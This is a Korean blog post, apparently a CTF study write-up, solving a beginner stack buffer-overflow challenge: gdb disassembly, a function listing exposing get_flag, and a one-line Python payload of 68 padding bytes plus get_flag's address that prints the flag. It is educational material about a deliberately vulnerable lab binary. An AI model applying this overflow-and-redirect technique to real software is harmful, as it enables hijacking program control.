N00bCTF_very ezzzzz!!_정세인

CTF 중점 스터디

2019. 12. 1. 23:55

pdisas main

 

   0x08048568 <+0>: push   ebp
   0x08048569 <+1>: mov    ebp,esp
   0x0804856b <+3>: sub    esp,0x40
   0x0804856e <+6>: mov    eax,ds:0x804a064

 

gdb로 까본 결과 스택이 64바이트만큼 할당되어있는 것을 알 수 있다.

 

dummy나 추가적인 공간은 계산하지 않고 문제를 풀었다.

===============================================

 

gdb-peda$ i fu
All defined functions:

Non-debugging symbols:
0x0804839c  _init
0x080483d0  setbuf@plt
0x080483e0  gets@plt
0x080483f0  sleep@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  __libc_start_main@plt
0x08048430  __gmon_start__@plt
0x08048440  _start
0x08048470  __x86.get_pc_thunk.bx
0x08048480  deregister_tm_clones
0x080484b0  register_tm_clones
0x080484f0  __do_global_dtors_aux
0x08048510  frame_dummy
0x0804853b  sleep_puts
0x08048556  get_flag
0x08048568  main
0x08048640  __libc_csu_init
0x080486a0  __libc_csu_fini
0x080486a4  _fini

 

저 아래에 가다보면 수상한 함수가 하나 있다. 바로 get_flag이다. 떡하니 우리에게 플래그를 주는 함수

라고 적어놨다. 그렇다면 64바이트와 sfp를 채우고 68+ get_flag 함수 주소를 하면 문제가 풀릴 것이다.

 

soultree@ubuntu:~$ (python -c 'print "A"*68+"\x56\x85\x04\x08"';cat) | ./clear


Wait!!!!!!


You should stop


Stealing flag...

Wait 10sec..
Wait 8sec..
Wait 6sec..
Wait 4sec..
Wait 2sec..


Okay


I'll give you a flag!!


N00bCTF{wow_your_very_good!!}

 

이렇게 정상적으로 flag가 뜬다. 가끔식 로컬에서 하다보면 문제가 생기는 ctf가 종종 있었다.

꼭 원격으로도 해보는 것을 추천한다.

'CTF 중점 스터디' 카테고리의 다른 글

Pwnable.kr asm Write-up  (0) 2019.12.08
TUCTF Faker Write Up  (0) 2019.12.08
protostar_heap0 Write_up  (0) 2019.12.01
Wargame.kr_tmitter_Write up  (0) 2019.12.01
N00bCTF - Simple_SQL Write-up  (0) 2019.11.28